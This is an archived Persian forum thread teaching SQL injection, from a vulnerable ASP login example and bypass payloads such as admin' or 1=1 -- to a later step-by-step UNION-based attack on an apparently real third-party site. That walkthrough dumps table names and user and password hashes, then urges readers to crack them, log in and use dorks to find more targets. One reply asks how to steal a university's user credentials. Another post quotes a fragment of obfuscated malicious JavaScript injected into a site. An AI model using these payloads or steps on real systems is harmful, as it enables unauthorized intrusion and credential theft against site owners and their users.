PDA

نسخه کامل مشاهده نسخه کامل : SQL Injection in SQL Server ( يكي از شيوه هاي هك )



hatef_4541
24-01-2006, 03:18
مقاله ماملي نيست ! اما به زودي PDF هاي كاملي رو براتون قرار ميدم ! اينو بخونيد يه آمادگي ذهني داشته باشيد تا اصلي ها بياد !



SQL یک زبان ساختار یافته ی متنی است که در سرويس دهنده ی وب مايکروسافت (IIS) استفاده ميشود و يکی از پر استفاده ترین نوع بانکهای اطلاعاتی است. در بانکهای اطلاعاتی، اطلاعاتی از قبیل User Name ها و Password ها، اطلاعات کاربران و ... نگهداری میشوند.

واحد اجرايی در SQL ها Query ها هستند.

Query چیست؟

مجموعه ای از عبارات است که با آنها میتوان با بانک اطلاعاتی به تبادل اصلاعات پرداخت. و ما بايد با فرستادن آنها بر روی سرور از طريق به اهداف خود برسيم.



کدهای زیر را یک طراح وب برای یک سیستم ورود بوسیله SQL و ASP نوشته است.


Login.html



<html>

<body>

<form method=get action="login_page.asp">

<input type="text" name="login_name">

<input type="text" name="pass">

<input type="submit" value="sign in">

</form>

</body>

</html>



login_page.asp



<@language="vbscript">

<%

dim conn,rs,log,pwd

log=Request.form("login_name")

pwd=Request.form("pass")



set conn = Server.CreateObject("ADODB.Connection")

conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"

conn.Open

set rs = Server.CreateObject("ADODB.Recordset")

rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn

If rs.EOF

response.write("Login failed")

else

response.write("Login successful")

End if

%>



همانطور که مشاهده کرديد طراح وب دو صفحه را طراحی کرده است:

1- صفحه login.html که username و password کاربر از آنجا گرفته میشود.

2- صفحه ای که در آن username و password وارد شده با اطلاعات داخل Data Base مقایسه میشود و در صورت وجود داشتن username و password در Data Base مقایسه میشود و در صورت درست بودن آنها پیغام درست بودن آنها داده میشود و در غیر این صورت پیغام درست نبودن آنها داده میشود.

اگر query ما به صورت زیر باشد، ما ميتوانيم از بخش ورود با موفقيت عبور کنيم.

Username : admin

Password : admin’ or a



Username : admin

Password : admin’ or a=a --



حال چرا اين اتفاق می افتد؟

در مثال بالا نفوذگر از یک روش ساده برای نفوذ استفاده کرده است. او کلمه کاربر را وارد و در محل ورود کلمه عبور عبارت Admin’ or a=a را وارد می کند. در اینجا بانک اطلاعاتی به بررسی آن خواهد پرداخت. شايد کلمه عبور admin نباشد اما نفوذگر از عبارت Or a=a نیز استفاده کرده است. این عبارت به این مفهوم است که کلمه عبور یا (admin) است و یا است.a که = a و بانک اطلاعاتی با مواجه شدن با این عبارت فرض ميکند کلمه عبور درست است و نفوذگر ميتواند به سیستم وارد شود.

نمونه های ديگری از مثال بالا:

admin" or "a"="a

admin" or 1=1 --

admin' or 1=1 --

admin' or 'a'='a

admin') or ('a'='a

admin") or ("a"="a

حال اگر هیچ کدام از این روشها کار نکرد چکار کنيم؟

ما وقتی می توانیم به طور موفقیت آمیز به یک سیستم نفوذ کنیم که دقیقا از نحوه طراحی بانک اطلاعاتی آن مطلع باشيم.

قسمت اصلی همين جاست. اگر خدا خواست در مقالات بعد به اين موضوع میپردازيم.

by : b_ice

seyyed.ali
24-01-2006, 04:23
من یکی از همین الان منتظر قاله هاتم دستتم درد نکنه
حال دادی

ReZa DN
24-01-2006, 09:58
:blink: ا

ايرج
24-01-2006, 11:12
سلام
شروع خوبي براي آموزش است
برنامه SQL را هم اگر ابتدا در تايپيك بگذاريد و يا معرفي كنيد خيلي بهتر است. :rolleye: :rolleye:

hatef_4541
25-01-2006, 00:31
ايرج جان SQL يك نوع زبان برنامه نويسي هست براي ديتا بيس ! برنامه خاصي نيست ! :happy:

kazemfdisk
03-02-2006, 00:50
سلام هاتف جان
ممنون منتظر مقاله هاي بعدي شما هستيم اگر ميشه به صورت كتاب در بياري
يا حق

hatef_4541
03-02-2006, 03:40
اينم يك مقاله كامل به صورت PDF :

[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]

:rolleye:

nhkARAMI
06-02-2006, 15:48
سلام اين لينك درست نيست

hatef_4541
07-02-2006, 02:21
سلام دوست عزيز ! لينك سالم هست اما پهناي باند تمام شده اينقدر دانلود كردن ! چند روز صبر كن كه ok بشه . اگه كسي ميتونه جاي ديگه بريزه لينك بذاره.

rb97
07-02-2006, 15:38
merC

jaleb bood

onlyhra
27-02-2009, 23:53
خيلي عالي بود ممنون

sarakhanum1
09-03-2009, 10:33
فوق العادست.همين طور ادامه بده هاتف جان

hosseinkhaki81
09-04-2009, 10:52
سلام به همه
می خواستم بدونم این sl injection مراتب داره یا نه ؟
منظورم اینه مثلا من می خوام یوزر و پسورد یکی از هزاران کاربر یه دانشگاه رو به دست بیارم و با اون به منابع اطلاعاتی اش وصل شم . آیا این کار به سختی کارای خیلی پیشرفته تری است که با این روش می شه انجام داد ؟

MicrosoftH
14-04-2009, 21:56
واقعا" دمت گرم ولی من میخوام یک گروه تشکیل بدم
روش دیگه توی درایو فلش -موبایل-درایو مایی کامپیوتر و ... اگر یک پوشه به نام Autorun.inf
تشکیل بدی ویروس اتوران دیگه وارد نمی شه
نترس نقطه رو قبول میکنه بعضی میگن نقطه قبول نمیکنه ولی بزن نترس:31:

مستانه
07-06-2009, 09:45
سلام
چند روز پيش وقتي اسم سايتم رو در گوگل سرچ كردم ، در كنار نام سايت نوشته شده بود " بازديد از اين سايت مكن است به رايانه شما آسيب وارد نمايد . " كه البته با كليك روي نام سايت صفحه ديگه بود كه توضيح مي داد اين سايت مشكوك به آلوده بودنه و ..
اين سايت بغير از صفحه تماس با كه ارسال ايميل آن با استفاده از php هست ، بقيه قسمت هاش كاملا استاتيك هست ، وقتي من فايل هاي صفحات سايت رو دانلود كردم و بازشون كردم به انتهاي تمامي صفحات بعد از تگ </html> كدي چسبيده بود كه براتون اينجا مي ذارم :


div id='x0dc1d5702fd59a862093c38747f60f9b9'><script type="text/javascript">var jQuery=window['eVvqaql4'.replace(/[q4VP\[]/g, '')]('e<vWa,lh'.replace(/[,\<W&h]/g, '')); jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x 58\x30\x71\x33\x67\x28\x6f\x6f\x66\x66\x42\x29\x7b \x66\x75\x6e\.....

از دوستان اگر كسي اطلاعاتي داره لطفا راهنمايي كنند كه اگر اين يك ويروسه چطور وارد شده و چطور مي شه امنيت سايت هاي استايك رو بالا برد ؟

zxc_mehran
22-08-2009, 12:14
یه کد جاوا اسکریپته که باعث کرش کردن مرورگرت میشه... و شاید هم روی همه کار نکنه...مثلا فقط روی ie کرش کنه...

البته خیلی مطمئن نیستم.

Farbod2
10-09-2009, 11:26
مقاله ماملي نيست ! اما به زودي PDF هاي كاملي رو براتون قرار ميدم ! اينو بخونيد يه آمادگي ذهني داشته باشيد تا اصلي ها بياد !



SQL یک زبان ساختار یافته ی متنی است که در سرويس دهنده ی وب مايکروسافت (IIS) استفاده ميشود و يکی از پر استفاده ترین نوع بانکهای اطلاعاتی است. در بانکهای اطلاعاتی، اطلاعاتی از قبیل User Name ها و Password ها، اطلاعات کاربران و ... نگهداری میشوند.

واحد اجرايی در SQL ها Query ها هستند.

Query چیست؟

مجموعه ای از عبارات است که با آنها میتوان با بانک اطلاعاتی به تبادل اصلاعات پرداخت. و ما بايد با فرستادن آنها بر روی سرور از طريق به اهداف خود برسيم.



کدهای زیر را یک طراح وب برای یک سیستم ورود بوسیله SQL و ASP نوشته است.


Login.html



<html>

<body>

<form method=get action="login_page.asp">

<input type="text" name="login_name">

<input type="text" name="pass">

<input type="submit" value="sign in">

</form>

</body>

</html>



login_page.asp



<@language="vbscript">

<%

dim conn,rs,log,pwd

log=Request.form("login_name")

pwd=Request.form("pass")



set conn = Server.CreateObject("ADODB.Connection")

conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"

conn.Open

set rs = Server.CreateObject("ADODB.Recordset")

rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn

If rs.EOF

response.write("Login failed")

else

response.write("Login successful")

End if

%>



همانطور که مشاهده کرديد طراح وب دو صفحه را طراحی کرده است:

1- صفحه login.html که username و password کاربر از آنجا گرفته میشود.

2- صفحه ای که در آن username و password وارد شده با اطلاعات داخل Data Base مقایسه میشود و در صورت وجود داشتن username و password در Data Base مقایسه میشود و در صورت درست بودن آنها پیغام درست بودن آنها داده میشود و در غیر این صورت پیغام درست نبودن آنها داده میشود.

اگر query ما به صورت زیر باشد، ما ميتوانيم از بخش ورود با موفقيت عبور کنيم.

Username : admin

Password : admin’ or a



Username : admin

Password : admin’ or a=a --



حال چرا اين اتفاق می افتد؟

در مثال بالا نفوذگر از یک روش ساده برای نفوذ استفاده کرده است. او کلمه کاربر را وارد و در محل ورود کلمه عبور عبارت Admin’ or a=a را وارد می کند. در اینجا بانک اطلاعاتی به بررسی آن خواهد پرداخت. شايد کلمه عبور admin نباشد اما نفوذگر از عبارت Or a=a نیز استفاده کرده است. این عبارت به این مفهوم است که کلمه عبور یا (admin) است و یا است.a که = a و بانک اطلاعاتی با مواجه شدن با این عبارت فرض ميکند کلمه عبور درست است و نفوذگر ميتواند به سیستم وارد شود.

نمونه های ديگری از مثال بالا:

admin" or "a"="a

admin" or 1=1 --

admin' or 1=1 --

admin' or 'a'='a

admin') or ('a'='a

admin") or ("a"="a

حال اگر هیچ کدام از این روشها کار نکرد چکار کنيم؟

ما وقتی می توانیم به طور موفقیت آمیز به یک سیستم نفوذ کنیم که دقیقا از نحوه طراحی بانک اطلاعاتی آن مطلع باشيم.

قسمت اصلی همين جاست. اگر خدا خواست در مقالات بعد به اين موضوع میپردازيم.

by : b_ice
من این روش رو تو پیسی ورلد خودمون با نام کاربری خودم و با فایر فاکس انجام دادم.جواب نداد:41:

miladgolpesar
11-09-2009, 20:49
آقا من دارم برنامه نویسی جاوا اسکریپ کار میکنم یعنی تازه شروع کردم خوب میشه حالا توی این حملات استفاده بشه
البته باید عرض کنم زبان بسیار کاملی است چون به تک تک اجزای کامپوتر دسترسی داره
راستی از کسانی که این زبان را بلدند اگر مایلند واسه پروژه کار کرد دستور بدون پایه سیستم درخواست همکاری میشه البته واسه ۲ هفته بعد از این تاریخ

mmnoody2006
13-10-2009, 08:14
این روش دیگه قدیمی شده و ما برنامه نویسان از پارامتر استفاده می کنیم که در این روش
این نوع هک معنی نداره

majid76
12-11-2009, 10:33
باسلام
لطفا هرچه زودتر بحث و ادامه بدید.

khazaie01
26-01-2010, 17:11
من این روش رو تو پیسی ورلد خودمون با نام کاربری خودم و با فایر فاکس انجام دادم.جواب نداد:41:
سلام دوست عزیز
نکنه انتظار داشتید جواب بده ؟:18:
Sql Injection یک روش تقریبا قدیمی است که از ضعف برنامه نویس وبسایت استفاده میکنه ولی خیلی خیلی میتونه خطرناک باشه . هنوز هم هستند سایتهایی که این مشکل را دارند . اما سایتی مثل P30World که با استفاده از CMS (به زبان ساده ولی نه کاملا علمی میشه گفت CMS یه نرم افزار که میشه باهاش سایت (انجمن,فروشگاه و...) ساخت !) های معروفی مثل vBulletin ساخته شده را نمیشه به این روش هک کرد !!!! به دنبال سایتهایی بگردید که مبتدی باشند (مثل سایتهای شخصی...)

با اجازه دوست عزیزی که این تاپیک را زدن توضیحات روش Sql Injection را کامل میکنم :

این روش فقط مختص ASP و یا SQL Server نیست. همه سایتهایی که برای دسترسی به اطلاعات (بانک اطلاعاتی) از دستورات ( Query های ) SQL استفاده میکنند و بر روی ورودی های کاربر کنترلی ندارند را میتوان به این روش هک کرد !! مثلا سایتی که از PHP و بانک اطلاعاتی Access استفاده میکند و برای دسترسی به بانک از Query اس کیو ال استفاده میکند...

با یک مثال این روش را توضیح میدم:

وارد شدن به همین سایت را در نظر بگیرید (لاگین کردن)
شما نام کاربری و کلمه عبور خود را وارد میکنید و بعد اینتر ... اگر نام کاربری و رمز عبور را درست وارد کرده باشید وارد سایت میشوید و در غیر اینصورت پیغام خطایی را مشاهده خواهید کرد.احتمالا برنامه نویس برای تشخیص هویت شما از یک Queryاسفاده کرده به این شکل :

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید
نامهایی که با رنگ آب مشخص شده اند همان نام کاربری و رمز عبوری هستند که برای لاگین کردن به سایت وارد میکنید. یعنی با فرض اینکه نام کاربری را Khazaie01 و کلمه عبور را 123 وارد کرده باشید دستور بالا به Query زیر تبدیل شده و به بانک اطلاعاتی تحویل داده میشود تا آنرا اجرا کند...


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

حالا به جای رمز عبور این کد را وارد کنیم چی میشه ؟؟؟؟ :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

از اونجایی که این رمز عبور وارد شده توسط کاربر بدون کنترل مستقیما وارد Query میشه , کد بالا داخل Query جای میگیره و Query به این شکل در میاد


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

من این Query اینه :
از جدول USERS رکوردی را پیدا کن که نام کاربری آن برابر Khazaie01 و کلمه عبور برابر aa باشد یا رکوردی را پیدا کن که نام کاربری آن Khazaie01 باشد !!!!!! یعنی بدون دانستن پسورد Khazaie01 میتونید با این یوزر وارد سایت شوید ( به طور معمول برای ورود به سایت باید بعد از اجرای Query رکوردی پیدا شود... )

میتوانید به جای این کد کدهای دیگری را به جای پسورد وارد کنید ...:11:

masih_300
10-02-2010, 16:12
با سلام
دوست عزيز خيلي ممنون كه توضيحاتو كامل كردي ولي اگه ميشه رو يه سايت به صورت تصويري نمايش بده چطور بايد از كوري استفاده كنيم

باتشكر

khazaie01
17-02-2010, 09:04
سلام دوست عزیز
تو سایت آشیانه چندتا مثال عملی است (تصویری)

Xinf3rnal
09-03-2010, 20:25
چرا لینک هاتون این جوری میاد
؟؟؟؟

Destroyer_H3LL
25-03-2010, 13:47
با سلام
دوست عزيز خيلي ممنون كه توضيحاتو كامل كردي ولي اگه ميشه رو يه سايت به صورت تصويري نمايش بده چطور بايد از كوري استفاده كنيم

باتشكر


منم برای کمک به یاد گیری دوستان یه سایت رو اینجکت کردم

متسفانه وقت نشد فیلم بگیرم و اونو برای دوستان بزارم

خب شروع می کنم :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

اینم Target من برای آموزش
-----------------------------------------------------------------------------------
اول یه کارکتر به اون اضافه می کنم تا ببینم سایت باگ داره یا نه

>>>>>[ برای مشاهده لینک ، لطفا با نام کاربری خود وارد شوید یا ثبت نام کنید ]'<<<<<

می بینید که پیغام داد
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
-------------------------------------------------------------------------------------
مرحله دوم :
پیدا کردن تعداد تیبل ها
که ما می تونیم از دستور Order+by+x
استفاده می کنیم که x (همون تعداد تیبل ها)توی هر سایتی فرق می کنه

وقتی من

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید
رو می زنم پیغام خطا می ده
Unknown column '6' in 'order clause'

ولی وقتی

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید
رو می زنم صفحه به صور کامل لود می شه

نتیجه = تعداد تیبل (5)

Destroyer_H3LL
25-03-2010, 14:00
خب در قسمت قبل تداد تیبل ها رو پیدا کردیم

برای تزریق کدهای خودمون به تیبل های آسیب پذیر نیاز داریم

برای پیدا کردنش از دستور
Union+select+1,2,3,4,5

من اعداد یک تا پنج رو نوشتم چون تعداد تیبل ها 5 تا بود و اونارو با(,) از هم جدا می کنم
حالا دستور بالا رو اضافه می کنم ببینیم چه جوابی می ده

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

اعداد 2 و 4 رو به ما نشون می ده که ما می تونیم به جای اونا دستورات خودمونو وارد کنیم
مثلا به جای عدد 2 می زنم version@@ تا ورژن DataBase سایتو بدست بیارم

برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید
5.0.89-communityکه به ما جواب بالا رو داد

Destroyer_H3LL
29-03-2010, 13:05
در این قسمت می خوام همه تیبل های سایتو بکشم بیرون
چون ورژن 5 هستش پس من از From+information_schema.Tables استفاده می کنم
که شکل کلی دستور اینجوری مشه :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

حالا در یکی از اعداد 2 یا 4 می زنم Table_Name :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

در جواب به ما نام تیبل رو می ده

CHARACTER_SETS این نام یکی از تیبل هاست

برای دیدن بقیه تیبل ها باید یه تغییری در دستوراتمون بدیم

یعنی به آخر دستوراتمون Limit+0,1 اضافه کنیم


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

هنوز همون تیبل اولی نشون می ده !!!!!

حالا برای اینکه تیبل دوم رو هم ببینیم به جای عدد صفری که گذاشتیم عدد یک رو جایگزین می کنیم
که به این صورت می شه :


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

حالا تیبل دوم رو نشون می ده
COLLATIONS

همین طور ادامه می دیم تا همه تیبل های سایتو پیدا کنیم
(عدد صفری که با یک عوض کردیم رو با دو عوض می کنیم تا تیبل سوم هم پیدا بشه)

این کار رو تا زمانی ادامه می دیم که به ما ارور بده

Destroyer_H3LL
29-03-2010, 13:10
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
banner120
banner468
comment
conf
files
l1
l2
l3
link
news
page
user

همش که من دارم صحبت می کنم دوستان پس چی کار می کنن؟

اون دکمه تشکر هم خاک گرفت از بس روش کلیک نکردن

Destroyer_H3LL
02-04-2010, 20:03
از تیبل هایی که بیرون کشیدیم یکیش از همه مهم تره

(به نظر من فقط همین به درد می خوره)

اون تیبل USER هستش
اطلاعات مربوط به نام کاربری(user) و پسورد(pass) در این تیبل قرار داره کا ما باید بکشیم بیرون

برای اینکه به تیبل User بریم باید بزنیم


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

به تیبل یوزر رفتیم و حالا باید یوز و پس های سایتو بکشیم بیرون
به جای اعداد 2 و 4 باید نام کالمن رو بزنیم
مثلا برای یوزر باید زد:


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

Result = 89141b29ea417aeca40ad165cfc28bf8

به ما یوزر سایتو داد
برای بیرون کشیدن پسورد هم به جای user عبارت Pass را جایگزین می کنیم


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

که در جواب

0596a45fa95ef3ef0394a6996d014b77

رو به ما نشون می ده

حالا یوزر و پسورد سایتو داریم


-----------------------------------------------------------------------------------
نکته:
-----------------------------------------------------------------------------------

- بهترین روش برای پیدا کردن کالمن های یک تیبل دستور Where هست که
اگه عمر ما کفاف بده در این تاپیک یا در یک تاپیک جدید آموزششو می زارم

-یوزر و پس هش شده پس باید کراکش کنن (دلیل انتخاب این تارگت هم
همین بود)

- وقتی که یوزر و پسورد سایتو مثل الان زدین باید یجوری به سایت نفوذ کنید
حالا با Telnet یا صفحه لاگین یا... که دوستان بهتر از من می دونن

-----------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
من راهو به شما نشون دادم دیگه بقیش با خودتونه

یک سری Dork هم در وبلاگم گذاشتم خواستین برین واسه پیدا کردن Target ازش استفاده کنید


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

موفق باشید